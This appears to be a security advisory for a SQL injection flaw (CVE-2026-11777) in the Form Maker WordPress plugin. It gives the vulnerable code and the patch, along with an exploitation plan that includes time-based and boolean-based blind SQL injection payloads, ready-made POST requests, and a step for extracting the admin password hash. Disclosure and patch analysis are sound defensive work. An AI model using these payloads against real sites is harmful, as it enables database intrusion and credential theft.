Form Maker by 10Web <= 1.15.43 - Authenticated (Administrator+) SQL Injection via 'name' Parameter
Description
The Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to generic SQL Injection via the 'name' parameter in all versions up to, and including, 1.15.43 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.15.44
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-11777 ## 1. Vulnerability Summary The **Form Maker by 10Web** plugin (up to 1.15.43) is vulnerable to a SQL injection in the `get_table_struct` method within both `FMModelSelect_data_from_db` and `FMModelFormMakerSQLMapping` classes. The vulnerability exists …
Show full research plan
Exploitation Research Plan - CVE-2026-11777
1. Vulnerability Summary
The Form Maker by 10Web plugin (up to 1.15.43) is vulnerable to a SQL injection in the get_table_struct method within both FMModelSelect_data_from_db and FMModelFormMakerSQLMapping classes. The vulnerability exists because user-supplied input from the name parameter is concatenated directly into a SHOW COLUMNS FROM SQL statement without being prepared or properly escaped. While the input passes through sanitize_text_field, this function does not prevent SQL injection when the input is used within backticks or as part of a raw query string.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
select_data_from_dborFormMakerSQLMapping(This plan targetsselect_data_from_db) - Vulnerable Parameter:
name - Authentication: Required (Administrator+)
- Preconditions: The attacker must be logged in as an administrator. The plugin must be active.
3. Code Flow
- Entry Point: The plugin registers AJAX handlers in
form-maker.phpviaadd_action('wp_ajax_select_data_from_db', array($this, 'form_maker_ajax')). - Controller Dispatch:
WDFM::form_maker_ajax(inform-maker.php) dispatches the request to the appropriate controller (inferred to beFMAdminControllerSelect_data_from_db). - Model Method: The controller calls
FMModelSelect_data_from_db::get_table_struct(). - Vulnerable Sink: In
admin/models/FMSelectDataFromDb.php:$nameis retrieved usingWDW_FM_Library(self::PLUGIN)->get('name', NULL).- The query is built:
$query = 'SHOW COLUMNS FROM' . $name . '';. - The query is executed:
$wpdb->get_results($query);.
- Injection: By supplying a value for
namethat includes a closing backtick (`), an attacker can escape the table name context and append arbitrary SQL clauses (likeWHERE) supported by theSHOW COLUMNScommand.
4. Nonce Acquisition Strategy
The plugin uses a nonce identified by the property $this->nonce = 'nonce_fm' in the WDFM class. This nonce is typically localized for use in admin scripts.
- Identify Page: The Form Maker "Forms" management page is a reliable place for the script to be enqueued.
- URL:
/wp-admin/admin.php?page=manage_fm
- URL:
- Navigate: Use
browser_navigateto load the page as an authenticated Administrator. - Extract Nonce: Use
browser_evalto extract the nonce from the localized JavaScript object.- Expected Variable:
fm_object.nonce(based on common 10Web plugin patterns) or search for any localized script containing "nonce". - Command:
browser_eval("window.fm_object ? fm_object.nonce : 'not_found'")
- Expected Variable:
5. Exploitation Strategy
We will use a time-based blind SQL injection because SHOW COLUMNS does not easily support UNION but its WHERE clause allows subqueries.
Step 1: Authentication
Login as an Administrator using wp_login.
Step 2: Nonce Extraction
Navigate to the Form Maker dashboard and extract the nonce_fm value.
Step 3: Payload Construction
We will target the name parameter. The target query is: SHOW COLUMNS FROM \$name``.
- Payload:
wp_usersWHERE 1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a) -- ` - Encoded Payload:
wp_users%60%20WHERE%201%3D1%20AND%20%28SELECT%201%20FROM%20%28SELECT%20SLEEP%285%29%29a%29%20--%20 - Resulting Query:
SHOW COLUMNS FROMwp_users` WHERE 1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a) -- ``
Step 4: HTTP Request (using http_request)
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded
- Body:
action=select_data_from_db &task=get_table_struct &name=wp_users` WHERE 1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a) -- &nonce_fm=[EXTRACTED_NONCE]
6. Test Data Setup
- User: Ensure an administrator user exists (standard
admin/password). - Plugin: Ensure "Form Maker" is activated.
- Form: No specific form needs to be created as the vulnerability is in the database interrogation logic used by the admin UI.
7. Expected Results
- Success: The HTTP response will be delayed by approximately 5 seconds.
- Data Leakage (Boolean-based): To extract the admin password hash, we would iterate:
name=wp_usersWHERE (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 64 -- `- If the first character of the hash has an ASCII value > 64, the response will contain the column list for
wp_users. If not, it will be an empty result.
8. Verification Steps
After the exploitation attempt, verify the vulnerability exists by checking the source code of the installed plugin:
- Use
grepto find the vulnerable line in the model:grep -n "SHOW COLUMNS FROM" /var/www/html/wp-content/plugins/form-maker/admin/models/FMSelectDataFromDb.php - Confirm the version is <= 1.15.43:
grep "Version:" /var/www/html/wp-content/plugins/form-maker/form-maker.php
9. Alternative Approaches
If select_data_from_db is unavailable, use the FormMakerSQLMapping action which hits the same vulnerable logic in admin/models/FMSqlMapping.php:
- Body:
action=FormMakerSQLMapping &task=get_table_struct &name=wp_users` WHERE 1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a) -- &nonce_fm=[EXTRACTED_NONCE]
Additionally, if SLEEP() is blocked, use a boolean-based approach by matching the presence of column names in the JSON response (e.g., searching for "user_login" in the output).
Summary
The Form Maker by 10Web plugin for WordPress is vulnerable to an authenticated SQL injection via the 'name' parameter in versions up to 1.15.43. This is due to the plugin directly concatenating unsanitized user input into a 'SHOW COLUMNS FROM' query, allowing administrators to execute arbitrary SQL commands through blind injection techniques.
Vulnerable Code
// admin/models/FMSelectDataFromDb.php lines 102-110 $name = WDW_FM_Library(self::PLUGIN)->get('name', NULL); if ( !$name ) { return array(); } $con_method = WDW_FM_Library(self::PLUGIN)->get('con_method', NULL); $con_type = WDW_FM_Library(self::PLUGIN)->get('con_type', NULL); $query = 'SHOW COLUMNS FROM `' . $name . '`'; --- // admin/models/FMSqlMapping.php lines 97-105 $name = WDW_FM_Library(self::PLUGIN)->get('name', NULL); if ( !$name ) { return array(); } $con_method = WDW_FM_Library(self::PLUGIN)->get('con_method', NULL); $con_type = WDW_FM_Library(self::PLUGIN)->get('con_type', NULL); $query = 'SHOW COLUMNS FROM `' . $name . '`';
Security Fix
@@ -79,6 +79,22 @@ } /** + * Validate a table name against allowed identifier characters and a table list. + * + * @param string $name + * @param array $tables + * + * @return bool + */ + private function is_valid_table_name( $name, $tables ) { + if ( ! is_string( $name ) || ! preg_match( '/^[A-Za-z0-9_]+$/', $name ) ) { + return false; + } + + return in_array( $name, (array) $tables, true ); + } + + /** * Get table struct. * * @return object $table_struct @@ -91,6 +107,10 @@ } $con_method = WDW_FM_Library(self::PLUGIN)->get('con_method', NULL); $con_type = WDW_FM_Library(self::PLUGIN)->get('con_type', NULL); + $tables = $this->get_tables(); + if ( ! $this->is_valid_table_name( $name, $tables ) ) { + return array(); + } $query = 'SHOW COLUMNS FROM `' . $name . '`'; if ( $con_type == 'remote' ) { $username = WDW_FM_Library(self::PLUGIN)->get('username', ''); @@ -128,6 +148,10 @@ if ( !$name ) { return array(); } + $tables = $this->get_tables_saved( $con_type, $username, $password, $database, $host ); + if ( ! $this->is_valid_table_name( $name, $tables ) ) { + return array(); + } $query = 'SHOW COLUMNS FROM `' . $name . '`'; if ( $con_type == 'remote' ) { $wpdb_temp = new wpdb($username, $password, $database, $host);
Exploit Outline
The exploit targets the 'select_data_from_db' or 'FormMakerSQLMapping' AJAX actions available to authenticated Administrators. An attacker first logs in and extracts the 'nonce_fm' security token from the admin interface. They then send a POST request to admin-ajax.php with the 'name' parameter containing a SQL payload designed to escape the backtick identifier (e.g., `wp_users` WHERE 1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a) -- `). Because the input is used directly in a 'SHOW COLUMNS FROM' query, the attacker can leverage the WHERE clause support in that command to perform time-based or boolean-based blind SQL injection to exfiltrate database contents.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.